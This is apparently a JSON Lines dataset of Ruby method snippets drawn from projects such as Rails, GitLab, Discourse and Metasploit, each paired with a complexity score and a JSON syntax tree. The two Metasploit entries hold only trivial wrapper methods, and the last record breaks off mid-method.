{"repo_name":"spree","file_path":"./repos/spree/storefront/app/controllers/spree/checkout_controller.rb","start_line":137,"raw_source":"def remove_store_credit\n      remove_store_credit_service.call(order: @order)\n\n      respond_to do |format|\n        format.turbo_stream\n        format.html { redirect_to spree.checkout_path(@order.token) }\n      end\n    end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_store_credit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_store_credit_service\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"ivar\",\"children\":[\"@order\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"turbo_stream\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"checkout_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"token\"]}]}]}]}]}]}]}]}","id":"ccd408fc-3162-4ab4-9d1e-89f53596b7d6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-user-notes/app/serializers/user_note_serializer.rb","start_line":20,"raw_source":"def user_id\n    object[:user_id]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}","id":"a2f8bbcb-170e-4cf6-ae4b-8e2ac184024f"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-lazy-videos/lib/discourse_lazy_videos/crawler_post_end.rb","start_line":43,"raw_source":"def extract_videos_from_post(post)\n      @parsed_doc ||= Nokogiri::HTML5.fragment(post.cooked)\n      videos = []\n\n      @parsed_doc\n        .css(\".lazy-video-container\")\n        .each do |container|\n          video_data = {\n            provider: container[\"data-provider-name\"],\n            id: container[\"data-video-id\"],\n            title: container[\"data-video-title\"],\n            url: container.at_css(\"a\")&.[](\"href\"),\n            thumbnail: container.at_css(\"img\")&.[](\"src\"),\n          }\n\n          videos << video_data if video_data[:provider] && video_data[:id]\n        end\n\n      videos\n    end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_videos_from_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parsed_doc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML5\"]},\"fragment\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"cooked\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"videos\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parsed_doc\"]},\"css\",{\"type\":\"str\",\"children\":[\".lazy-video-container\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"video_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-provider-name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-video-id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-video-title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"at_css\",{\"type\":\"str\",\"children\":[\"a\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"href\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thumbnail\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"at_css\",{\"type\":\"str\",\"children\":[\"img\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"src\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"video_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"video_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"videos\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"video_data\"]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"videos\"]}]}]}","id":"4b593c2f-b544-439d-8d61-a7ac5c41d4dd"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":1266,"raw_source":"def persisted?\n    id.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"persisted?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]},\"present?\"]}]}","id":"cda2d54e-108b-451c-b576-8b7f6865cfc8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20241028095642_create_ci_runner_taggings.rb","start_line":13,"raw_source":"def change\n    create_table(TABLE_NAME, **OPTIONS) do |t|\n      t.bigserial :id, null: false\n      t.bigint :tag_id, null: false\n      t.bigint :runner_id, null: false\n      t.bigint :sharding_key_id, null: true\n      t.integer :runner_type, null: false, limit: 2\n\n      t.index [:tag_id, :runner_id, :runner_type], unique: true,\n        name: 'index_ci_runner_taggings_on_tag_id_runner_id_and_runner_type'\n      t.index [:runner_id, :runner_type]\n      t.index [:sharding_key_id]\n    end\n  end","complexity_score":11.95,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OPTIONS\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigserial\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"runner_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"sharding_key_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"runner_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"sym\",\"children\":[\"runner_id\"]},{\"type\":\"sym\",\"children\":[\"runner_type\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_ci_runner_taggings_on_tag_id_runner_id_and_runner_type\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"runner_id\"]},{\"type\":\"sym\",\"children\":[\"runner_type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"sharding_key_id\"]}]}]}]}]}]}","id":"496013ff-8cff-499f-97be-b1f5a32ca8c2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/workhorse.rb","start_line":363,"raw_source":"def gitaly_diff_or_patch_hash(repository, diff_refs)\n        {\n          repository: repository.gitaly_repository,\n          left_commit_id: diff_refs.base_sha,\n          right_commit_id: diff_refs.head_sha\n        }\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"gitaly_diff_or_patch_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]},{\"type\":\"arg\",\"children\":[\"diff_refs\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"gitaly_repository\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"left_commit_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_refs\"]},\"base_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"right_commit_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_refs\"]},\"head_sha\"]}]}]}]}","id":"81740960-a195-4dbd-870f-b45b77993ea2"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20170411145225_add_feed_url_to_users.rb","start_line":2,"raw_source":"def change\n    add_column :users, :feed_url, :string\n    add_column :articles, :published_from_feed, :boolean, default: false\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"feed_url\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"sym\",\"children\":[\"published_from_feed\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"d7e36465-cacb-463a-9cf8-346de64f2df5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":891,"raw_source":"def test_fourth\n    assert_equal topics(:fourth).title, Topic.fourth.title\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fourth\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"fourth\"]}]},\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"fourth\"]},\"title\"]}]}]}","id":"b43c1ba1-4abb-42d0-bcd1-f41bf9bfc095"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/code_length.rb","start_line":23,"raw_source":"def count_comments?\n        cop_config['CountComments']\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"count_comments?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CountComments\"]}]}]}","id":"23b72421-6293-4eb1-bb88-d6d409f43c04"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/namespaces/link_paths/group_namespace_links_type.rb","start_line":24,"raw_source":"def report_abuse\n          url_helpers.add_category_abuse_reports_path\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_abuse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"add_category_abuse_reports_path\"]}]}","id":"f31ea3ef-da9a-4a1c-9c20-9c2f218c6903"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/unix/reverse_socat_tcp.rb","start_line":37,"raw_source":"def generate(_opts = {})\n    vprint_good(command_string)\n    return super + command_string\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"send\",\"children\":[null,\"command_string\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"+\",{\"type\":\"send\",\"children\":[null,\"command_string\"]}]}]}]}]}","id":"5eebae98-a8f6-4c13-b240-c4a4085a37b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/help_controller.rb","start_line":128,"raw_source":"def render_documentation\n    # Note: We are purposefully NOT using `Rails.root.join` because of https://gitlab.com/gitlab-org/gitlab/-/issues/216028.\n    path = path_to_doc(\"#{@path}.md\")\n\n    @markdown = markdown_for(path)\n\n    if @markdown\n      render :show, formats: :html\n    else\n      # Force template to Haml\n      render 'errors/not_found', layout: 'errors', status: :not_found, formats: :html\n    end\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"render_documentation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"path_to_doc\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path\"]}]},{\"type\":\"str\",\"children\":[\".md\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@markdown\",{\"type\":\"send\",\"children\":[null,\"markdown_for\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@markdown\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"sym\",\"children\":[\"html\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"errors/not_found\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"str\",\"children\":[\"errors\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"sym\",\"children\":[\"html\"]}]}]}]}]}]}]}","id":"60ab1292-ee63-4a51-ba6a-d7bd63429c4b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/elasticsearch/script_mvel_rce.rb","start_line":62,"raw_source":"def check\n    result = Exploit::CheckCode::Safe\n\n    if vulnerable?\n      result = Exploit::CheckCode::Vulnerable\n    end\n\n    result\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vulnerable?\"]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"72647e35-b857-4bae-afbb-1b358355fae8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/diff_helper.rb","start_line":13,"raw_source":"def diffs_expanded?\n    params[:expanded].present?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"diffs_expanded?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"expanded\"]}]},\"present?\"]}]}","id":"5262bf83-81b4-46c2-af52-cafdde741aee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket/representation/comment.rb","start_line":22,"raw_source":"def updated_at\n        raw['updated_on'] || raw['created_on']\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"updated_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"[]\",{\"type\":\"str\",\"children\":[\"updated_on\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_on\"]}]}]}]}","id":"3fd2f3d9-b03c-4d38-88b9-f14c3762eff5"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/application.rb","start_line":158,"raw_source":"def resolution_center\n        client.get_resolution_center(apple_id, platform)\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"resolution_center\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"get_resolution_center\",{\"type\":\"send\",\"children\":[null,\"apple_id\"]},{\"type\":\"send\",\"children\":[null,\"platform\"]}]}]}","id":"fa3c4920-5174-43bd-b188-06f1038eb4cd"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/reviewable_post.rb","start_line":102,"raw_source":"def perform_approve_and_unhide(performed_by, _args)\n    post.unhide!\n\n    create_result(:success, :approved, [created_by_id], false)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_approve_and_unhide\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"performed_by\"]},{\"type\":\"arg\",\"children\":[\"_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\"]},\"unhide!\"]},{\"type\":\"send\",\"children\":[null,\"create_result\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"sym\",\"children\":[\"approved\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"created_by_id\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"c4a19ea8-31fc-4cb9-b56c-fb730c15a95e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/queue/metrics.rb","start_line":184,"raw_source":"def self.queue_size_total\n          strong_memoize(:queue_size_total) do\n            name = :gitlab_ci_queue_size_total\n            comment = 'Size of initialized CI/CD builds queue'\n            buckets = QUEUE_SIZE_TOTAL_BUCKETS\n            labels = {}\n\n            Gitlab::Metrics.histogram(name, comment, labels, buckets)\n          end\n        end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"queue_size_total\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"queue_size_total\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"sym\",\"children\":[\"gitlab_ci_queue_size_total\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"str\",\"children\":[\"Size of initialized CI/CD builds queue\"]}]},{\"type\":\"lvasgn\",\"children\":[\"buckets\",{\"type\":\"const\",\"children\":[null,\"QUEUE_SIZE_TOTAL_BUCKETS\"]}]},{\"type\":\"lvasgn\",\"children\":[\"labels\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"histogram\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"lvar\",\"children\":[\"labels\"]},{\"type\":\"lvar\",\"children\":[\"buckets\"]}]}]}]}]}","id":"a6f92886-156b-4f68-a3e3-701480e62e24"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gem_extensions/active_record/association.rb","start_line":10,"raw_source":"def initialize(owner, reflection)\n        super\n\n        @disable_joins = @reflection.options[:disable_joins] || false\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"owner\"]},{\"type\":\"arg\",\"children\":[\"reflection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@disable_joins\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reflection\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"disable_joins\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"c2473925-2e82-4ad8-bfba-01972e2e4940"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/imap/providers/generic.rb","start_line":228,"raw_source":"def open_spam_mailbox(write: false)\n        open_mailbox_before_spam = @open_mailbox_name\n        open_mailbox_before_spam_write = @open_mailbox_write\n\n        spam_uid_validity = open_mailbox(spam_mailbox, write: write)[:uid_validity]\n\n        yield(spam_uid_validity) if block_given?\n\n        open_mailbox(open_mailbox_before_spam, write: open_mailbox_before_spam_write)\n        spam_uid_validity\n      end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"open_spam_mailbox\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"write\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"open_mailbox_before_spam\",{\"type\":\"ivar\",\"children\":[\"@open_mailbox_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"open_mailbox_before_spam_write\",{\"type\":\"ivar\",\"children\":[\"@open_mailbox_write\"]}]},{\"type\":\"lvasgn\",\"children\":[\"spam_uid_validity\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_mailbox\",{\"type\":\"send\",\"children\":[null,\"spam_mailbox\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"write\"]},{\"type\":\"lvar\",\"children\":[\"write\"]}]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"uid_validity\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spam_uid_validity\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"open_mailbox\",{\"type\":\"lvar\",\"children\":[\"open_mailbox_before_spam\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"write\"]},{\"type\":\"lvar\",\"children\":[\"open_mailbox_before_spam_write\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"spam_uid_validity\"]}]}]}","id":"10ab441b-dd60-4fb9-be33-6d621e6f0974"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_persistent.rb","start_line":134,"raw_source":"def test_hex\n    str = \"This is longer and will be in hex\"\n    @body << str\n    @body = @body.to_enum\n\n    response = send_http_read_response @valid_request\n\n    assert_equal \"HTTP/1.1 200 OK\\r\\nX-Header: Works\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n\" \\\n      \"5\\r\\nHello\\r\\n#{str.size.to_s(16)}\\r\\n#{str}\\r\\n0\\r\\n\\r\\n\", response\n  end","complexity_score":9.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"str\",\"children\":[\"This is longer and will be in hex\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@body\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body\"]},\"to_enum\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_http_read_response\",{\"type\":\"ivar\",\"children\":[\"@valid_request\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP/1.1 200 OK\\r\\nX-Header: Works\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"5\\r\\nHello\\r\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"size\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n0\\r\\n\\r\\n\"]}]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"0eabc6c1-9b0d-4a07-9453-148ef41a1bd8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/server_smart_proxy.rb","start_line":105,"raw_source":"def sync_metadata(ost)\n    klass  = ost.target_type.constantize\n    target = klass.find(ost.target_id)\n    job    = Job.find_by(:guid => ost.taskid)\n    _log.debug(\"#{target.name} (#{target.class.name})\")\n    begin\n      target.perform_metadata_sync(ost)\n    rescue Exception => err\n      _log.error(err.to_s)\n      _log.log_backtrace(err, :debug)\n      job.signal(:abort_retry, err.to_s, \"error\", true)\n      nil\n    end\n  